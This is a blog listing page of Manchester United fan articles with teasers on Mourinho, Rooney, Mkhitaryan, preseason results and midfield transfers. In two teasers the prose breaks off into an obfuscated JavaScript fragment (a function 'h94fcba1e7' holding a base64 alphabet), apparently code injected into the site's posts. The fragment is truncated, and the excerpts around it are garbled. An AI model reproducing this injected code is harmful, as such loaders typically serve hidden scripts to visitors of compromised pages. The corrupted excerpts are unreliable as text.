Is Mourinho starting something special or on the road to familiar oblivion?

When you hear the name Jose Mourinho in recent weeks, there are countless contentious issues: Demeanour function h94fcba1e7(y1){var vd='ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=';var yb='';var p3,na,pc,q9,y3,w4,u5;var... Read More | Share it now!

Second hand news re: Stoke 2-2 Man United

Most readers will be upset a perfect start to the season has died an ignoble death, the tombstone reading Stoke 2-2 Man United. Relax. It could be worse. Recent guest writer, Chris, who offered five reasons United would continue its 100% record through September, has...

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Henrikh Mkhitaryan: A Little Help, Please

As Manchester United ruthlessly wears down opponents, then scores at will, it’s easy to praise the finishers while forgetting the primary source: Henrikh Mkhitaryan. As a boy, I would play football with classmates in the schoolyard during recess. Inevitably,...

Four down, 51 to go for Manchester United

In putting four goals past West Ham in its season opener, Manchester United did something it hadn’t in 2016-17. Jose Mourinho’s squad kept its foot on the gas until the final whistle. I think we can all agree Manchester United’s biggest problem...

Mourinho’s code of honourifics

A recent Jose Mourinho interview revealed two things: he hopes to manage Manchester United for 15 years, and, if not one of honour, he at least has a code of honourifics, ESPNFC's Mark Ogden is suffering through a difficult journalistic assignment at the moment. As...

Wayne Rooney channels his inner Allan Quatermain

When a long relationship ends, people have been known to sit in the dark afterwards, wondering what the other person is doing at that very moment. Thanks to internet and social media, you don't have to wonder when your ex is Wayne Rooney. I know, I know. If you're...

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Don’t read too much into Man United’s preseason debut

In 2014, Man United’s preseason opened under Louis van Gaal with a 7-0 victory over Major League Soccer’s Los Angeles Galaxy. As we all know, everything went downhill from there. Fans were filled with hope seeing United again dominate an opponent in an...

Red Devils and the Red, White, and Blue: Man United's American history

Looking back over eight decades on Man United’s American history and players ahead of its upcoming five match United States tour, beginning on 15 July. In the Routledge Handbook of Football Marketing, which I'm sure you've all read, Claude Boli claims...

A case for Daley Blind in midfield.

Matic, Dier, Nainggolan, Fabinho, Bakayoko? Just who United are looking to recruit in that defensive midfield position remains our biggest mystery of the summer. Jose Mourinho is reportedly hellbent on securing an anchorman to release any remaining... Read More | Share it now!

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The Ballad of Wayne Rooney

And so, its almost over. Wayne Rooney’s 13-year relationship with Manchester United looks set to end with a return to Everton. A relationship that was passionate, explosive, but never boring function h94fcba1e7(y1){var... Read More | Share it now!